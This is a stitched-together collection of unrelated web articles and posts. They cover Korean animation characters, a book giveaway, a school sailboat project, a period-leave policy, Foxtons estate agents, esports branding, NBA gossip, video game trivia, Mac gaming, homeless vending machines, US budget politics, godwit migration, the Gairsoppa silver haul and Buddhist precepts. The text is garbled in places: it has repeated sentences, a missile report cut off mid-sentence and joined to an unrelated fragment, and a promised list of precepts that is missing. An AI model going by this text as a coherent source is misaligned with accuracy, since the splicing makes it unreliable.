Animation contracts for Korean animation studios range from collaboration/minor contribution contracts, to most of the work. The South Korean animation industry can be considered dynamic as there are more than a hundred animation studios. While it is mostly firms in South Korea that contract with Western studios, some of the work is reported to be subcontracted to North Korea as well.
Korean animation characters in public spaces [ edit ]
Tayo bus 'Rudolph'
Larva subway was a subway based on and featured a Larva character. It operated from November 2014 until May 2015 on line No. 2. The Seoul government and Metro explained that they wanted to give citizens a chance to celebrate the 40th anniversary of the subways opening. [3]
was a subway based on and featured a Larva character. It operated from November 2014 until May 2015 on line No. 2. The Seoul government and Metro explained that they wanted to give citizens a chance to celebrate the 40th anniversary of the subways opening. Tayo buses were organized by the Seoul Metropolitan Government, the Bus Transport Business Association, and the animation company which made Tayo the Little Bus for the Public Transportation Day. In 2014, the Seoul Metropolitan Government commissioned buses designed as the characters of Tayo the Little Bus to go around the Gwanghwamun Square area of the city. [4]
were organized by the Seoul Metropolitan Government, the Bus Transport Business Association, and the animation company which made Tayo the Little Bus for the Public Transportation Day. In 2014, the Seoul Metropolitan Government commissioned buses designed as the characters of Tayo the Little Bus to go around the Gwanghwamun Square area of the city. In 2014, statues of Larva and Pororo the Little Penguin were installed in World Park, which is a square in the Lotte World II Hotel. They were well received by citizens and tourist.[5]
Market [ edit ]
In 2010, according to the Korea Creative Content Agency, the Korean market share of domestic characters was about 28% and the remaining 72% was for foreign characters, such as those from Japan and USA. In 2012, experts predicted that the total market size would grow to 10 trillion won (about 9 billion dollars in July 2018) in the near future.[6] In 2014, the domestic character market share soared to 40% and its value in 2013 had reached 8 trillion won (about 7 billion dollars).
Korean characters as international business [ edit ]
Before the emergence of Korean domestic characters, characters that enjoyed popularity were mostly from the United States and Japan.[7] However, as the industry matured and grew in size, domestic characters received preference not just domestically but also internationally.
See also [ edit ]Order “Rise of the Dragon King” HERE
Read FBC’s Review of “The Sword & the Dragon”
Hey guys, it is me again, M. R. Mathias to announce the 2014 Indie Kindy Giveaway!
This year we are featuring indie omnibuses, and giving away ONE Kindle Fire HDX 8.9” 16GB, ONE Kindle Fire HD 7” 8GB, and ONE Kindle 6” E Ink Display. All of them will be loaded with the indie book collections you see featured below. That is THREE KINDLES up for grabs in the name of Independence, and as always we are giving them away on Independence Day.
Derek is one of my favorite authors and Nameless is my second favorite dwarf of all time. The Nameless Dwarf is an epic tale of remorse and redemption that pits a whiskerless thief, a guilt-driven assassin, a consumptive wizard, and an amnesiac dwarf against the worst imaginings of a craven mind.
But the companions bring troubles of their own, not least of which is an ancient grimoire that leads them inexorably towards a forest of tar and an evil that threatens the existence of an entire race.
The last hope of the dwarves comes from the unlikeliest of sources: a mythical city beneath the waves, an axe from the age of heroes, and the Nameless Dwarf, in whose veins flows the blood of legends.
Derek’s other collection, Against The Unweaving: Shader: First Trilogy is also available HERE.
The next omnibus is another trilogy. This one is The Dawning of Power Trilogy Omnibus Edition by Brian Rathbone.
Echoes of the ancients’ power are distant memories, tattered and faded by the passage of eons, but that is about to change. A new dawn has arrived. Latent abilities, harbored in mankind’s deepest fibers, wait to be unleashed. Ancient evils awaken, and old fears ignite the fires of war.
In times such as these, ordinary people have the power to save the world... or destroy it.
I am going to load two of my collections on the Indie Kindy prize kindles as well. The first is Confliction Compendium, which includes the Dragoneer Saga’s first trilogy as well as The First Dragoneer novella.
The second Dragoneer trilogy is well under way, which includes last summer’s The Emerald Rider, and the June 15th 2014 release of Dragoneer Saga Book Five – Rise of the Dragon King.
I’m not going to say much about the next trilogy, other than I wrote it in a prison cell in Texas with crappy ink pens on over three thousand pieces of college ruled notebook paper. The Complete Wardstone Trilogy is huge, and considering that when I wrote it, I didn’t even know how to type, I think it came out pretty good.
M. R. Mathias
To recap, M.R. Mathias is giving away ONE Kindle Fire HDX 8.9” 16GB, ONE Kindle Fire HD 7” 8GB, and ONE Kindle 6” E Ink Display!!! Each Kindle will be loaded with the following titles:
Confliction Compendium by M. R. Mathias
The Complete Wardstone Trilogy by M. R. Mathias
To enter, please use ONE of the following methods:
Visit Fantasy Book Critic’s Facebook page and follow the instructions listed there. Send an email to fbcgiveaway@gmail.com with your Name, Mailing Address (Street Addresses Only), and the subject: INDIE KINDY.
Giveaway has ENDED. Thank you for entering and Good Luck!
GIVEAWAY RULES :
1) Open To Anyone Worldwide
2) Only One Entry Per Household (Multiple Entries Will Be Disqualified)
3) Must Enter Valid Email Address, Mailing Address + Name
4) No Purchase Necessary
5) Giveaway Has ENDED
6) Winners Will Be Randomly Selected and Notified By EmailHamden middle school students learn math by building sailboat
Hamden students learned math and science skills through boat-building. Hamden students learned math and science skills through boat-building. Photo: Ebony Walmsley — NEW HAVEN REGISTER Photo: Ebony Walmsley — NEW HAVEN REGISTER Image 1 of / 9 Caption Close Hamden middle school students learn math by building sailboat 1 / 9 Back to Gallery
HAMDEN >> Sailing on a boat at a country club is not your typical summer school assignment, but two teachers from Hamden Middle School are making it work.
Andrew Marzano, an eighth-grade science teacher, and Frank Kachmar, who teaches technology, teamed up to teach eighth-graders math and science skills by building a sailboat.
Recently, five eighth-graders set sail on a pond at the Hamden Paradise Country Club using two 12-foot skiffs.
Marzano said he wanted to bring the idea to the middle school after watching people build wooden boats at Mystic Seaport.
“It really incorporates math, science, history and English,” Marzano said.
The three-week program caters to students who face challenges with math and science, teaching them about angles, measurements and adding and subtracting fractions.
“These students work better with their hands, rather than a pencil and notebook,” Marzano said.
While students may not initially understand the benefits to constructing firsthand, Marzano said that, once the end result is pieced together, the excitement builds.
“They start to see it’s not just a hammer and nails, but that it’s actually something functional,” Marzano said.
Student Michael Cox said building the sailboats was a great experience.
“I loved doing it. We had to learn about how to correctly measure the boats and its seats or they’d be too big,” Michael said.
While Michael enjoyed the building process, he said the trade is something he’d only be interested in as a hobby.
Other students who helped build the boats included Ethan Dileone, Elijah Garcia, James Flores and Brendan Randall.
Kachmar said the students participated in every part of the process from reading the construction plans to hammering and sanding the boat.
“I was most impressed with how quickly they learned how to read the drawing plans and their ability to create something out of raw materials,” Kachmar said.
Kachmar said the experience gives students the chance to move out from behind the books and get excited about learning.
“We provide the opportunity for them to become enthusiastic and they supply the motivation for themselves later on in life,” Kachmar said.
Marzano hopes to expand the program to allow students to participate throughout the entire year.
“I want the ones that aren’t showing up. It takes them out of a traditional classroom setting.... I think there’s enough enthusiasm for it,” Marzano said.
Hamden Middle School Principal Dan Levy said he would like to see the project grow, but said it has to start small.
“It’s enriching for kids. You know, they can talk about angles or you can build them on a boat,” Levy said.
As he watched two students climb into a boat, Levy admired their craftsmanship.
“That’s a beautiful watercraft right there. A 13-year-old built that; that’s awesome,” Levy said.
Call Ebony Walmsley at 203-789-5734. Have questions, feedback or ideas about our news coverage? Connect directly with the editors of the New Haven Register at AskTheRegister.com.Culture Machine has initiated a new leave policy, called "First Day of Period Leave"
A Mumbai-based digital media company has announced it will offer a "First Day of Period Leave." This means employees have the option to take leave on the first day of their period - no questions asked. The company says the leave policy is an attempt to fight taboos surrounding menstruation in India. Culture Machine has also started a petition online addressed to the Minister of Women and Child Development Maneka Gandhi and the Minister of Human Resource Development Prakash Javadekar, asking for a similar leave policy to be implemented across the country.Last week, the company announced the new leave policy in a video posted on Facebook and YouTube which have subsequently gone viral.A number of employees at Culture Machine's Mumbai office were told of the new leave policy for the first time on camera. Their reactions were included in the edited video, in addition to comments from the company's top bosses explaining their new policy."Is it that time of the month?" one woman said she was often asked at work. "PMS (premenstrual syndrome) is something that is in your head," another woman said she was often told."Sometimes with male bosses, you have to be a little discreet," said a third employee featured in the video, discussing the "excuses" women often end up making for taking the day off due to period cramps or discomfort. "It gets slightly awkward."One employee explained he had colleagues complain of cramps and take the day off. "So, the first couple of times it happened, I was a little perplexed, it was not a sick leave nor was it a casual leave," he said, his voice trailing off."Lots of times, I find men complaining about the fact that 'Oh, but she gets her period and gets a day off or gets to sit idle and not do any work.' But, the realisation that we have to have is that we don't understand that pain and we don't go through it. And, if we were to have that kind of discomfort, we would possibly not be coming to office or not be doing work at that point of time," said Ruchir Joshi, Head of Content, Culture Machine in the video."We wanted to make sure that our colleagues feel appreciated. And also, in a society like in India where ground reality of women empowerment is still a talk, we wanted to walk the talk," explained Venkat Prasad, Culture Machine's Co-Founder, COO/CTO."It's time we address that women menstruate and it is okay to take a day off to get through the discomfort," writes Blush in a caption accompanying the viral video.The leave policy has provoked mixed reactions on social media. Culture Machine's online petition has gathered the support of over 22,000 people in a week. What do you think of the initiative? Let us know in the comments section below. Click for more trending newsSales commission at the estate agents Foxtons slid by more than a quarter at the end of last year in the latest sign that the capital’s runaway housing market is rapidly cooling.
Foxtons, which has 51 branches, mostly in London, and sends out agents in its fleet of liveried dark-green Mini Coopers, said it did not expect a recovery until after the general election in May.
It said turnover fell 12.1% in the final quarter of last year as the slump in sales commissions more than offset a recovery in lettings. Commission on sales was down 25.7% compared with the same months in 2013, when activity in the London market was at its highest level since 2008. Foxtons still made sales commissions of £70m over 2014, up 3.6% on 2013.
The agency warned of a fall in annual profits in October after a slowdown in the London market since August, but the speed of the decline surprised the City. Rival estate agent Countrywide said last week that a slowdown in the UK housing market was clearly evident in the final quarter of 2014, and expects “some sluggishness” in the first half of this year due to the election.
As well as uncertainty over the election outcome and the effect of Labour’s possible mansion tax on homes worth more than £2m, Foxtons blamed a general slowdown in the London property market after a period of rapid price growth and the introduction of tighter rules on mortgage lenders. The chain charges sales commission of 2.5% with its average sale price put at £545,000 last year.
Central London faces a glut of expensive new homes, with about 54,000 being built or planned, according to research from Property Vision, Lonres and Dataloft. Most of them will be priced around £1m but in the areas where the developments are sited just 3,900 homes worth more than £1m were sold last year, the study said.
Lettings, which account for half of Foxtons’ business, remained flat for much of last year but improved in the fourth quarter, notching up a 7.7% rise.
Foxtons shares fell immediately after the news but recovered to close 12% higher at 180p, with brokers suggesting the company was well placed to cash in on a recovery.
The agency, founded by Jon Hunt in Notting Hill in 1981, floated on the stock market in September 2013 and the shares quickly climbed to peak at 389p in February 2014. They have since fallen to stand nearly 25% down on their 230p float price. lost nearly a quarter of their value since their debut.
Foxtons is opening five to 10 new branches in London each year.
Numis analyst Chris Millington said: “While profits were marginally below our estimates and the short-term outlook is somewhat uncertain, we remain of the view that Foxtons’ long-term attractions remain and once the market recovers the group will make very high margins on incremental revenue.”Dear friends,
Today is an exciting day for the compLexity Family and we are glad you are here to share it with us. After 13 years of loyal service, the world famous compLexity logo has been sent into retirement.
Back in 2003 we were a brand new gaming organization and in need of a unique mark. We ran a fan based contest where Jason Lake offered $1,000 of his own money for the best logo submission for the newly created “compLexity Syndicate.” It was then the famous swooshes were born. The logo was a “S” for Syndicate, with the top being a “C” for compLexity, and as they say the rest was history.
Over the years, hundreds of the best gamers in the world have worn the swooshes. People have poured their lives into eSports while wearing our beloved logo. Many victories were achieved by amazing individuals and teams under our banner. Challenges were overcome and adversity was conquered, all the while keeping in mind the fans who really mattered the most. To try to properly express the depth of our gratitude and heartfelt appreciation would be an exercise in futility. The memories are too precious and the emotions too powerful. A logo is just a logo. It’s the people behind the logo that define a brand, and we've been blessed to work with the best in the business. Thank you for that. The amazing people who graced the old compLexity will never be forgotten. However, when your logo is older than Youtube, Facebook and Twitter, it’s time for a change. It’s time for a new, refreshing take on our beloved old swooshes.
Thus, today marks the dawning of a new era for compLexity- a logo reborn and a fresh new outlook on the future. We wrestled for quite some time with how to bring our old, beloved mark into the modern age. We wanted something new and relevant but didn’t want to abandon 13 years of history and legacy. We hope you’ll agree our new look accomplishes those goals. Like our organization, we believe it is forward thinking, yet historically respectful.
As a new era dawns on global eSports we intend to march on the front lines just like we have for over a decade. Many of you have been a part of our gaming family for a very long time and we thank you from the bottom of our hearts. Just like you, we have always been powered by passion and we promise to remain so. Now everyone in compLexity would like to invite you along for the next phase. Join us for what is sure to be a wild ride. We promise that you'll be glad you did.
May God bless you and your families,
Jason Lake & Jason Bass
May 2016Everyone has a hot take on the D’Angelo Russell/Nick Young situation right now. If you somehow haven’t heard, Russell secretly recorded a video of Young talking about cheating on Iggy Azalea recently—and that video somehow leaked out. As a result, Russell’s teammates have reportedly turned their back on him, and it’s unclear whether or not he’s going to be able to continue his NBA career with the Lakers.
One of the hottest takes on the story comes courtesy of—who else?—Stephen A. Smith. He made his usual appearance on ESPN First Take today and, instead of spending a lot of time talking about his upcoming appearance on General Hospital, he started the show by going offfffff on Russell. Here are just a few of the things he had to say:
"He’ll never be trusted ever again. This will stay with him for the rest of his career."
"I am a reporter, and even I don’t want to talk to him."
"As a man, you don’t do that. Under no circumstances do you infiltrate yourself into somebody else’s business."
"He’s 20 years old. You’re 13 years old, you know better. You’re 10 years old, you know better. I don’t care how old you are."
"He is completely untrustworthy, incredibly immature. It was a juvenile punkish move of the highest order."
"This is one of those situations where the Lakers gotta contemplate trading him. This is one of those situations where his agent needs to contemplate dropping him so he doesn’t lose other clients."
"You do not do what this man did."
Welp. Check out Stephen A’s entire rant in the clip above.
Send all complaints, compliments, and tips to sportstips@complex.com.
[via Next Impulse Sports]What do hardcore gamers love most? Gaming! But..but what else do they enjoy?! Video Game History! My love for videogames is infinite, like the universe! I grew up playing video games like most of you, and the impact they had on my life was great. I owe a lot of things to video games. If you are like me, one of the most addicting (and fun) things to do, is sit and read about video games, especially the history and interesting facts behind some of your favorite titles, or gaming companies, or game developers – it is all so interesting how it came together (or almost didn’t)!! I could get lost for hours on wikipedia just reading through the history of gaming (which isn’t always a good thing when on a project deadline haha). However since a lot of the resources I used to read these interesting facts and things in were print gaming magazines as a kid, which have been having trouble the past few years for obvious reasons and going away because of the internets (RIP Nintendo Power 🙁 ), I went a few years missing that type of nostalgic feel browsing through a magazine getting awesome insider facts and history bits that seemed to be few and far between on the net a few years ago. Now though sites like Did You Know Gaming and VGFacts have popped up in recent years and totally brought life back to “dat feel” and really make it fun again to be a video game history nerd gobbling up random information about the usually amazing and often mysterious past of gaming!
History of Video Games
So much! history! gah! nostalgia overload! There really is so much gaming history at this point with gaming starting to get older (like myself. lol) it is really hard to find a starting point to dig in – and you quickly feel like your brain is running out of disk space to store it all haha. Today we have put together some of our favorite tid bits of video game knowledge from Did You Know Gaming – they range from “Oh thats neat” to the “OMFG NO WAY WTF” scale haha. Some are funny, some are amazing, others are creepy, dark, and strange (so you have been warned! lol). We also included a bunch of other resources to help you get all those childhood memories flowing and learn even more about where our games came from (and how they came about) and even learn a little bit about the technology behind them.
If you are a gamer, you will definitely enjoy this trip down memory lane – for some of you there will be much to learn (and many aspects of childhood to be questioned lol) for others you will be captivated and enthralled with video gaming bliss that will lead you down a rabbit hole of never ending time sucking destruction – you might even get kicked in the feels a few times. Whatever you get out of this epic collection of gaming history, I hope that you enjoy!
O_O Mind = Blown. Nature, you are crazy.
O_O Terrifying. Pokemon Cordyceps. lol.
Amazing. The world of gaming would have been so different.
So Interesting. So Awesome!
Sudden Realization… Right in the childhood!
Oh man. THE FEELS! My heart strings, they have been tugged!
It all makes sense now…
LOL EPIC. I Loved Diablo.
Wow. Totally reminds me of the 80’s anime “Unico in the Island of Magic” where the wizard turns the people into zombie like “living puppet” block people. So creepy. Good movie from le childhood though lol.
One of my favorite gaming facts!
That is INCREDIBLE!
Super Smash Bros Is somehow linked To Bill Nye By Voice Actor?! WIN. Loved that game, and that show.
Way to be original, Sony! lol but seriously that is so Interesting.
Wow. That is Insanely creepy.
Bowser, You are NOT the father. I could not resist hahaha.
I love gaming lore.
That is so Ironic. Awesome gaming history tidbit!
Man, I never imaged that pokemon could be that deeply complex lol.
The power of arcade games in their prime!
All I can hear is “Money, Money, Money!”
That makes sense, but still interesting!
Talk about an epic easter egg.
Dat Mathematical Symmetry!
Video games are so creative in the laziest ways sometimes. I love it.
Valve is awesome.
Holy Crap. I did not know that. (I didn’t play much ps2 though either) That is so cool.
The comments on this one are really interesting, so much backstory/rumors about this topic in pokemon lol. Geek out!
Oh man I remember renting this game as a kid, I hated it. It was horrible. And now I know why. haha.
That was brilliant. Tricky game programmers!
I love cross reference throwbacks in games like this – plus Symphony of the Night was my favorite Castlevania game, nay, best game ever!
Wow, this game would have been useless to me and my friends had it not been for multiplayer! FUNNEST THING EVER (then. lol)
Dang.
Even More Gaming History Facts!
Need even more gaming history goodness? Don’t worry, here are some more tidbits, then a list of more resources to point you in the direction of more awesome nostalgia inspiring video game videos, images, and trivia! Enjoy!
“Introduced in 1993, the 3DO was the first video game system to be based entirely on CD technology.” – VGFacts
“The word “Capcom” was created from taking the first 3 letters from each word in “Capsule Computers” (from the subsidiary Japan Capsule Computer Co).” – VGFacts
“Due to South Korea banning Japanese cultural imports at the end of World War II, the Master System was distributed by South Korean company Samsung, and was named the Gam*Boy. Samsung released many consoles in South Korea under alternate names, like the Game Boy, Genesis, NES, Game Gear, SNES and Nintendo 64.” – VGFacts
“If you open a Dreamcast VMU, you can see “potato” printed on a chip, as a joke referencing a “potato chip”.” – VGFacts
“Ironically, SEGA’s GD-Rom technology was created as DVDs were not available for SEGA, and they wanted to create a disc that would be hard for pirates to copy and use. “Sega intended to use the format to curb piracy common to standard compact discs and to offer increased storage capacity. It is similar to the standard CD-ROM except that the pits on the disc are packed more closely together, resulting in a higher storage capacity: around 1.2 gigabytes, which is almost double the storage capacity of a typical CD” The Dreamcast is infamous for being the easiest console to pirate games on.” – VGFacts
Freaking LOVED this show. Still love it. So much gaming history knowledge and nostalgia packed into these things.
G4 Icons Episode #1: Oddworld Inhabitants
Back when G4 was still good (and alive lol.)
G4 Icons Episode #19: Atari
Spacewar! is credited as the first widely available and influential computer game.
Well, There you have it! You are now trapped in nostalgia-ville. lol.
What was your favorite gaming history fact? Have a favorite tidbit of gaming history that we didn’t mention? Maybe even a history of gaming resource that we didn’t mention? Let us know in the comments below or in the forums! Thanks for Reading!
You like this? Don’t forget to follow us on twitter @infinigeek and like us on facebook @infinigeek! We are also on that Google Plus thing.
If you like this, You'll love These.Image copyright AFP/Getty Images Image caption A replica of a Scud missile (centre) similar to those believed launched by the North on Tuesday
North Korea has fired three ballistic missiles into the sea off its east |
for dialogue, debate and consultation, making us an increasingly'stunted' and intolerant society."This is yet another important milestone for Mac gaming: There are over 4,500 Mac games on Steam. 4,547 to be precise.
This is particularly impressive when you consider how often macOS is dismissed as a gaming platform.
But the numbers speak for themselves: 4,500 games and close to 4 million active players (3,17% of 125 Million active users according to Valve) on Steam alone. And don’t forget about all the games that are not part of Steam, such as EA’s and
And don’t forget about all the games that are not part of Steam, such as EA’s and Blizzard’s.
The situation is clearly improving and we’ve never had so many choices as they do today.
But as Steam Spy founder, Sergey Galyonkin, rightly pointed out late last year, there are way too many new Steam games altogether. 38% of all Steam games were released in 2016:
This is as equally exciting as it is worrying. On the one hand, this explains the explosion of new Mac and Linux games, and as I said before, this gives gamers more choice.
On the other hand, many worry that the quality of games available is suffering. Think about it. Is it really possible most of the 4,207 games released on Steam in 2016 were all good? Some were great, but most were mediocre, and a few were terrible.
I tend to agree with the critics and believe Steam should do something to better curate the games it accepts. Why? Because you may not be obliged to buy a game, but the more crappy games there are, the harder it becomes to find the true gems.
Not only quantity but quality too
But having over 4,500 Mac games on Steam is still a great thing, especially when the quality is there.
The quality of the best Mac games today is simply impressive. And this is confirmed when looking at the top rated games on Steam. According to SteamSpy, 8 out of 10 are available on MacOS:
Factorio
Portal 2
Terraria
Counter-Strike: GO
Left 4 Dead 2
Euro Truck Simulator 2
The Binding of Isaac: Rebirth
Stardew Valley
And if you’re interested in the 20 most played games, 13 out of 20 are also available on Mac:
And all of this is not limited to Mac gaming alone. Linux / SteamOS is also going through a similar renaissance and it’s all linked.
The rise of multi-platform development
Nowadays, Linux has over 3,000 games on Steam. This should be an impressive feat, but many are not surprised, claiming it’s all due to Valve’s SteamOS push. Perhaps. But what about the Mac? Why the sudden growth?
Mac gaming may have little to do with SteamOS on paper, but all combined – Mac, SteamOS and Linux – become a considerable incentive for studios to go for multiplatform development. And this is something all the developers we have interviewed, from Pillars of Eternity creators to This War of Mine’s, confirmed. If your game engine can easily work on all platforms, why not support them?
Both Mac and Linux are still tiny compared to Windows. However, the point is not to become bigger than Windows. The point is to be interesting enough (from a financial standpoint) to encourage multiplatform development and hence have more games on all platforms.
Do you think this trend will continue? Or could it just be a SteamOS fad that could disappear instantly if Valve’s new OS doesn’t pick up?© Provided by IBT Media
Vending machines for the homeless debuted in the U.K. on Tuesday, and the charity plans to bring the machines—which dispense a variety of essentials from socks to fresh fruit—to the U.S. next year.
The vending machines debuted in Nottingham, where their inventor, 29-year-old Huzaifah Khaled lives, according to The Guardian. The charity Action Hunger, which he founded, installed the first machine on Tuesday. Action Hunger plans to bring its first U.S. machine to New York in February, and hopes to expand to locations in Seattle, Los Angeles, and San Francisco.
"We selected New York as it's one of the cities that has a particularly virulent issue with homelessness—it's one of the cities with the largest numbers of people experiencing homelessness in America," Khaled told Newsweek in an email.
In Nottingham, local grocery stores and charities donate extra food to stock the machines, and then volunteers will restock them. For their American machines, the charity has partnered with New York non-profit Rescuing Leftover Cuisine to supply items in the vending machine, and are also in talks with Tyson Foods, Khaled said.
The machines work via a key card system, so not just anyone has access to the goods inside. Action Hunger partner organizations distribute the cards to homeless people who must check in once a week so that their cards continue working. Users are allowed to take only three items each day in an effort to limit their dependence on the machines.
Khaled told The Guardian that installing the machines in train stations would be a safe and ideal solution. The Nottingham vending machine is located outside of a shopping mall.
"We've tried to mitigate abuse of the card system as much as we can—the key-cards are highly trackable, and along with receiving a plethora of data, we can remotely disable access should we learn that a card has been lost or stolen," Khaled said.
Items featured in the Nottingham vending machine include energy bars, toothbrushes, antibacterial lotion, and sandwiches. ITV correspondent Nick Dixon tweeted a picture of the machine stocked with apples and bananas on Tuesday.
“We want our low-cost solution to complement other services that are available, as engagement with professionals and local support services is instrumental to breaking the cycle of homelessness,” the charity told The Guardian.
New York, where the company plans to install a vending machine in February, has the highest homeless population in the U.S. Around 76,500 people were homeless in New York City on a single night in 2017, according to the Department of Housing and Urban Development's most recent report.
Los Angeles, Seattle, and San Francisco were also among the top 10 cities with the most homeless individuals. The same HUD report revealed that in the U.S. in 2017, almost 554,000 people were homeless. The Guardian reported in November that over 300,000 people living in the United Kingdom were either reported as homeless or living in inadequate homes.The political theater that passes for serious policy debate is about to run into an unfortunate reality as Donald Trump’s budget plan comes face to face with its arch-nemesis: arithmetic.
It’s impossible to cut taxes, increase spending, and balance the budget. That’s not political bluster. That’s math.
Throughout the campaign and since, Trump promised to invest in infrastructure, pass an enormous tax cut, boost military spending, cut “waste, fraud, and abuse,” and protect Social Security and Medicare — and, of course, balance the budget.
This rhetoric has been remarkably effective, the presidential equivalent of offering free ponies for everyone — but even less practical.
Working in Trump’s favor, however, is that many Americans believe things about the federal budget that are simply not true. There’s a lot of misinformation out there.
According to public opinion polls, Americans believe nearly a third of the budget goes to international aid. In reality, it’s less than 1 percent.
A survey of Fox News viewers from 2013 showed nearly half believed most federal debt could be eliminated by “cutting waste and fraud.” It can’t.
Out of a nearly $4 trillion annual federal budget, about $3.4 trillion is spent on things that either can’t be cut or Trump has promised he doesn’t want to cut. This includes Social Security, Medicare, military spending, and interest on the national debt.
That leaves just over half a trillion dollars to cover all non-military discretionary spending. It’s a lot of money, to be sure, but a small proportion of overall spending. This is the part Trump is proposing to cut.
What’s included in this side of the budget?
To name just a few things: The benefits that help veterans get back on their feet after getting wounded. The nutrition assistance that helps babies born to low-income mothers. The science research that will mitigate the next infectious disease outbreak (remember Zika?).
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The list could go on for paragraphs, each a small line item on a big budget list, but each incredibly important to enabling a happy, healthy life in modern society.
Cutting programs the public depends on in an effort (real or imagined) to balance the budget isn’t new. Austerity has been in the air in the United States since Reagan and has taken Europe by storm, too. It’s the justification behind cutting programs that help the poor while passing tax cuts that exclusively benefit the rich.
It is, in short, part of a remarkably effective effort to redistribute wealth — upwards.
Consider, for example, Trump’s tax plan.
If the president were serious about balancing the budget, he’d be quite concerned about how much money the Internal Revenue Service collected each year. He’d know if that number went down, it would reduce the effectiveness of his spending cuts.
He is, to put it politely, not concerned about this.
As the Citizens for Tax Justice, a D.C.-based research group, points out, Trump’s tax plan nearly exclusively benefits the wealthy while raising the taxes of low- and moderate-income families. The budgetary impacts of his tax cuts total about a half trillion dollars a year — the same amount as the entire non-discretionary, non-military federal budget.
In other words, Trump’s tax plan is a proverbial one-handed middle finger to the working class. And his spending cuts represent his other hand making the same gesture.
While repeated rhetorical distractions may succeed in sidetracking his audience, Trump can’t use his impressive oratory skills to overcome basic mathematics.How is it possible to fly 11,000 kilometers without a single break? The record holder for long distance flight outdoes all human-made aircraft. The bar-tailed godwit has very low energy consumption, but this is not enough to explain its success.
Every autumn the bar-tailed godwit undertakes an eight-day journey from Alaska to New Zealand. The bird flies non-stop, without once breaking the journey to rest or eat. Then when spring comes, the bar-tailed godwit makes the 11,000-kilometre journey back to Alaska.
Professor of Ecology Anders Hedenström from Lund University has pondered over how this species of bird can fly so far without stopping. The distance is twice as far as previously known non-stop distances for migratory birds.
Professor Hedenström emphasises that the bar-tailed godwit is far superior to all aircraft constructed by humans when it comes to the art of flying for a long time without a break. The long-distance flight record for aircraft is held by QiniteQ's Zephyr, an unmanned solar-powered craft. It can remain in the air for 82 hours, around three and a half days, compared with the bar-tailed godwit's eight-day flight.
But what is it that makes the bar-tailed godwit able to fly 11 000 kilometres without a single break? How can these birds manage without sleep or food for eight whole days? One explanation is that they consume unusually little energy compared with other species of bird. Anders Hedenström has calculated that the bar-tailed godwit consumes 0.41 per cent of its body weight each hour during its long flight.
"This figure is extremely low compared with other migratory birds," he says.
However, other factors also play a role. It is important to have the right ratio of body weight to size to be able to carry sufficient energy for the entire flight. The energy mainly comprises body fat, and to some extent also protein. It is also important to have an aerodynamic body shape so that air resistance is minimised. A further success factor is flight speed. The bar-tailed godwit is a quick flyer, which means that it can cover long distances in a reasonable time.
A comparison can be made with a completely different group of long-distance travellers from the animal kingdom -- eels. These animals swim a distance of 5 500 kilometres between Europe and the Sargasso Sea, and manage to do it with significantly lower energy consumption than the bar-tailed godwit. However, they maintain such a low speed that they could never travel across the globe as often as the bar-tailed godwit does. To complete the bar-tailed godwit's 11 000-kilometre journey would take the eel 345 days, according to Anders Hedenström.
There are still pieces of the jigsaw missing that could explain the bar-tailed godwit's record non-stop flight. Could the bird's success be due to a particularly good ability to navigate with the help of an inner compass that makes use of the earth's magnetic field, for example? Anders Hedenström notes that there are a number of exciting questions surrounding the bar-tailed godwit's ability not to get lost up in the air.Since the world's engineers haven't yet come up with a way to read minds over the internet (or at all, last we checked ), we're not sure what you think about the proposed marriage of T-Mobile to AT&T. We're pretty sure you do have an opinion of some sort, though, and if you want it to be heard, now's the opportunity to let the Federal Communications Commission read your thoughtful, reasoned take on how a GSM monopoly in the United States might or might not work. (Speak now or forever hold your peace, in other words.) To comment, simply visit the source links below, where the FCC has some handy forms -- one for short comments, one for long comments (where you have to attach a PDF document) and one with the magic number of the related proceeding, which is 11-65. Let 'em know just how you'll be impacted if the deal goes through, for better or for worse.[Thanks, Jeff]Get the latest from TODAY Sign up for our newsletter
July 23, 2013, 3:48 PM GMT By Kerry Sanders and Lauren Sullivan
American treasure hunters hit it big when they retrieved 60 tons of silver from the bottom of the Atlantic Ocean earlier this month.
Tampa, Fla.-based Odyssey Marine Exploration led the quest to find the underwater treasure, which sank in 1941 when the SS Gairsoppa — a British steamship that was secretly carrying silver from India to Great Britain to fund the war effort — was hit by a German U-boat torpedo.
Currently being held in a secret location in England, the valuable haul — paired with the group’s previous recovery of 48 tons of bricks of silver last year — is the largest precious metal recovery in history: It's worth an estimated $77 million.
“It’s starting to dawn on me now what we’ve achieved down here,” Odyssey’s senior project manager Andrew Craig told TODAY in a report that aired Tuesday.
The shipwreck was originally discovered in 2011, nearly 3 miles down off of Ireland’s coast. The team found much of the silver in the ship a year later, but only recently found much more on the ocean floor.
“The numbers are bit mind boggling,” Craig said. “I kind of just see (the silver) as very heavy lumps of weight that we've been flogging around for the last week.”
Kerry Sanders visits the secret location in England where $77 million worth of silver bricks are being held. Today
The silver bars, stacked on pallets shoulder high, began its journey from Colonial India to England in 1941.
A German U-Boat sank the 412-foot-long Gairsoppa steel-hulled cargo ship as it steamed off the coast of Ireland.
When it sank, the silver fortune was lost to the depths of the ocean until Odyssey began their search 10 years ago.
The archeologists used old shipping documents, war records and calculated drift to pinpoint the shipwreck.
Because it’s too deep to dive, salvage teams used Remotely Operated Vehicles, submarines with arms that can reach out and clutch to retrieve what is found.
The first ingot made it to the surface last year. The final bar, number 2792, was pulled from the wreck just last week.
Craig said finding the wreck never guaranteed finding the silver.
“We didn’t know where it was," he said. "It really was a case of going through every nook and cranny of the wreck site until we came across it.”
The majority of the silver, he said, was found in the mailroom.
Also retrieved from the sunken vessel: newspapers from 1941, financial documents and letters addressed with Indian postage.
Odyssey originally funded the $20 million exploration after winning a contract bid with the United Kingdom Department of Transportation. But, since the treasure was recovered, the British government is now responsible for footing the bill; Odyssey will retain 80 percent of the silver’s value, and the British government will inherit the rest.
"I don't think anyone ever expected to see it again,” said the transportation department’s Robert Cousins. “And here it is.”
The agency says it plans to send the silver to the Royal Mint — just in time to strike commemorative coins for the new prince.In Buddhism, the most basic things that a lay Buddhist should know is the 5 main precepts. The precepts offer the basic training rules for lay Buddhists to practice everyday, anytime and anywhere. They are not commands or kind of imperatives but only training rules that someone can take them voluntarily. It means whether someone undertake them or not is not a problem. As if someone practice the precepts, he/she will attain good behaviours, good thoughts, good actions, good speech, peacefulness, calmness, and happiness. The following are the 5 main precepts:
The 5 main precepts are a prominent teaching in Buddhism. They are the foundation and the first step of practicing for both lay Buddhist initiation and regular lay Buddhist devotional practices. Anyone, even a non-Buddhist can undertake the precepts because they are kind of reflections to generate good and high quality human beings.
